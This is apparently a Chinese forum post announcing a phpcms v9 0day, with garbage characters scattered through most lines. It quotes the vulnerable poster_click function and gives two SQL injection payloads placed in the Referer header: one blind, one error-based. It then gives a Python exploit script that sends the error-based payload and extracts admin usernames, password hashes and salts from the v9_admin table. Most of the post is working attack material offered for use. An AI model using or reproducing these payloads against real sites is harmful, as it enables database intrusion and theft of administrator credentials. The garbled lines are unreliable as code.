有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
3 t/ Q, Z+ b8 l9 O b
) [2 `( ^+ ?8 G1 P+ B6 s问题函数\phpcms\modules\poster\index.php. Y" J- m- i/ O. ~
/ i* ? P9 C0 f, d+ n( L3 C: t
public function poster_click() {
# H8 V' Z, D# B' u( Z3 U+ E$id = isset($_GET['id']) ? intval($_GET['id']) : 0;0 `" w$ `* m2 |* V& D+ c' s" u
$r = $this->db->get_one(array('id'=>$id));
9 Z- O5 i/ h4 Q/ v Bif (!is_array($r) && empty($r)) return false;
% i3 Q. Y! ^- A$ip_area = pc_base::load_sys_class('ip_area');
4 f- P6 A3 H7 E k' V- F$ip = ip();- V( G3 ?; S/ c! n
$area = $ip_area->get($ip);7 |* a- I& s; N0 M" @
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
6 }+ k9 y" N! G% ~# |" \! vif($id) {/ \! f" |7 F( r# c% D4 i/ H- \
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();2 S9 D/ T+ d" ]$ `* h2 {- i' A
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
$ d- e% s/ d# c0 G}
9 T4 b* i% Z' G* K) e7 A0 {4 g2 u$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));* d( z5 I+ @! P) {' |
$setting = string2array($r['setting']);; O$ z+ j) K1 A3 Q+ Q; X
if (count($setting)==1) { z2 y1 ^; i. J) {3 G8 U% i, }7 n
$url = $setting['1']['linkurl'];# N: D' ~0 y# a3 Q/ ]
} else {
7 K( K6 x( Y3 g) B. I( ^* B' @2 o$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
! D: E' a2 a0 n% g}: ], l1 g* u% u& d
header('Location: '.$url);5 f' Y2 k- ~" |9 w$ M+ f! r
}
9 p m& P3 [, p: K
! j" o5 t; G0 j* J) I" o ) \2 _ e7 M u2 r+ @! w
8 X! h/ e: G3 \0 O利用方式:8 ]5 A. p. E" r, c
: u! o" Y2 j7 d5 ]
1、可以采用盲注入的手法:2 B! B, R8 p/ E
* J5 L& t6 I' _ s4 ireferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
5 d! \' ~# A+ P% I; F( `2 |: `5 D/ r% E4 r7 j/ d1 ^
通过返回页面,正常与否一个个猜解密码字段。
* }2 T6 y. O6 |) [% L1 i6 I& ]1 ?, ~' i+ U+ H" z
2、代码是花开写的,随手附上了:
$ `5 M1 `7 E0 j; @! O& Y. X
* P. M' O+ p1 Y, Y9 a6 u! k1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#; |! O, \4 Y- g7 o0 }1 r
0 u& F9 o- c+ P% ?" ^
此方法是爆错注入手法,原理自查。
3 a8 L3 `3 E& y" V }, _! `/ p4 B; X2 W, S
7 T" i) @4 P. O% r3 U; R
* `8 E* x6 F. _ T* _( K! Z7 g利用程序:
: |4 g ~" c/ H, O. N+ O) V/ X: t% f) k! W" U3 u( P+ S- ^
#!/usr/bin/env python! Y1 X+ u" D( b* z/ o
import httplib,sys,re9 B/ n4 F: z4 [/ p6 b7 U0 e
% e0 T& t: e( ~. E$ c* _ c
def attack():
& }7 M- t, L Iprint “Code by Pax.Mac Team conqu3r!”" L- M" x' m! n8 u/ S" r1 s, B
print “Welcome to our zone!!!”
" T* @8 H4 z4 v2 w" e. Hurl=sys.argv[1]7 j# T `. N3 f: B, n
paths=sys.argv[2]
9 ?* Z. T7 q+ Xconn = httplib.HTTPConnection(url)
( ^0 a( U7 G& f" X: Y5 Bi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
/ W& O" Z- g( x! R2 l4 b“Accept”: “text/plain”,) Q! c2 Z" A7 K/ T: M
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}3 J, M# r' \0 ^9 @% q3 W
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers), z C! D& [4 _
r1 = conn.getresponse()6 M; M& H9 U. R) p
datas=r1.read()' L* v5 {) O: x
datas=re.findall(r”Duplicate entry \’\w+’”, datas)5 ?/ G) U' Y# K2 s& Y
print datas[0]
w4 U9 l* {2 zconn.close()
4 O% L/ A* h$ _! ~' J% x( iif __name__==”__main__”:
7 ~" R$ c7 x2 |( _8 \if len(sys.argv)<3:+ t1 ], p1 P' \8 o2 c D
print “Code by Pax.Mac Team conqu3r”* M; \. p+ L) O! `( k& B
print “Usgae:”0 V1 r4 Z. I5 X) G0 I5 o
print “ phpcmsattack.py www.paxmac.org /”0 o% n e% k8 S- o
print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
- _3 z% _" M' `* E9 @" E- f: N1 dsys.exit(1)
9 p+ _+ S" u7 Q7 Cattack()
9 W; I1 d$ c+ V8 C9 {2 a0 ]4 w" F0 F0 k7 H; U+ G
|